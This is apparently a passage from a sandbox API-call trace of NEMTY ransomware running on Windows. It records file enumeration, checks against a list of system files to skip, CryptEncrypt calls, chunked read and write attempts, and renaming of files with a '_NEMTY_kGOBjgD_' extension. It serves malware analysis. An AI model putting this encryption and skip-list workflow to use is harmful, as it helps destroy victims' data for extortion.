SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.765] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.785] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.785] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.785] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.791] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.791] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.791] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.797] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163940, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.797] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0082.797] CloseHandle (hObject=0xffffffff) returned 0 [0082.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0082.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0082.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0082.797] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0082.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0082.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0082.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63401b8 [0082.797] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340260 [0082.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0082.797] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0082.798] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_scrapbook_Thumbnail.bmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_scrapbook_thumbnail.bmp._nemty_kgobjgd_")) returned 0 [0082.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0082.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0082.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0082.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0082.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0082.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0082.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0082.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0082.798] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.798] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eb59d23, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eb59d23, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="rectangle_specialocc_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2=".") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="..") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="...") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="windows") returned -1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="$RECYCLE.BIN") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="rsa") returned -1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="NTDETECT.COM") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="ntldr") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="MSDOS.SYS") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="IO.SYS") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="boot.ini") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="AUTOEXEC.BAT") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="ntuser.dat") returned 1 [0082.798] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="desktop.ini") returned 1 [0082.799] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="CONFIG.SYS") returned 1 [0082.799] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="RECYCLER") returned -1 [0082.799] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="BOOTSECT.BAK") returned 1 [0082.799] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="bootmgr") returned 1 [0082.799] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="programdata") returned 1 [0082.799] lstrcmpiW (lpString1="rectangle_specialocc_Thumbnail.bmp", lpString2="appdata") returned 1 [0082.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_specialocc_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0082.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_specialocc_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_specialocc_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0082.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f941c0 [0082.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_specialocc_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0082.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_specialocc_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_specialocc_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0082.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0082.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0082.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_specialocc_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0082.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0082.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_specialocc_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345608, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_specialocc_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0082.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x50) returned 0x4f91640 [0082.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_specialocc_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0082.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0082.799] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="rectangle_specialocc_Thumbnail.bmp", cchWideChar=34, lpMultiByteStr=0x6345640, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rectangle_specialocc_Thumbnail.bmp", lpUsedDefaultChar=0x0) returned 34 [0082.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91640 | out: hHeap=0x4f90000) returned 1 [0082.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f941c0 [0082.799] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0082.799] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94268 [0082.799] Sleep (dwMilliseconds=0x5) [0082.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe5004730, dwHighDateTime=0x1d561e7)) [0082.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653ee24 | out: lpSystemTimeAsFileTime=0x653ee24*(dwLowDateTime=0xe5004730, dwHighDateTime=0x1d561e7)) [0082.803] GetLastError () returned 0x5 [0082.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0082.803] GetLastError () returned 0x5 [0082.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0082.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0082.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0082.803] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653ec60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653ec60*=0x100) returned 1 [0082.803] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x10, dwBufLen=0x100 | out: pbData=0x653ec64*, pdwDataLen=0x653ec50*=0x100) returned 1 [0082.803] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ec5c | out: pszString=0x0, pcchString=0x653ec5c) returned 1 [0082.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0082.803] CryptBinaryToStringA (in: pbBinary=0x653ec64, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ec5c | out: pszString="0NV4t56CgdtlGglQFBKysqHzpwVXB4YG7+d2W85BorUUohz+ivqZ4npEO/mx/ysO\r\n0vdipBvslXf7rRdcWRBe7F/8sIVKb8KwGQpjVD3yIZ+xzgckSrXqw5ZNv1jrDS21\r\nkIWZxjjUgpHdZr+HURxNcTBPrF8ppELqnQHJk1d7BwBf2ghBVc0cixHB+iuQ33fU\r\nA75PK1S9XaElKIl7JlxaY2PThqoC5XxBmY+THGAUtVPF5THOedyaNaf4fcwq8zyR\r\n//5QgG2Ei95aEw8BoigVP4Dfnn11/CyFsgDQlCBzwLfopuynBdWLjxP0z7dONXY8\r\n04ExGEjJAbVjoJHuROiZpA==\r\n", pcchString=0x653ec5c) returned 1 [0082.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0082.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0082.803] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0082.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0082.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0082.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0082.803] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_specialocc_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_specialocc_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0082.803] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eeb0 | out: lpFileSize=0x653eeb0*=18150282790956772) returned 0 [0082.803] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0082.804] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.804] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.813] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.813] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.813] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.832] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.832] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.832] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.841] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.841] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.841] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.850] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.850] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.850] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.860] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.860] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.860] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.869] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.869] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.869] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.878] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.879] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.879] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.879] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.895] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.895] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.895] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921970, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.905] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.905] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.905] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eea4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eea4*=0x0, lpOverlapped=0x0) returned 0 [0082.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.911] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653ee9c, lpOverlapped=0x0) returned 0 [0082.911] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106061540, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0082.911] ReadFile (in: hFile=0xffffffff, 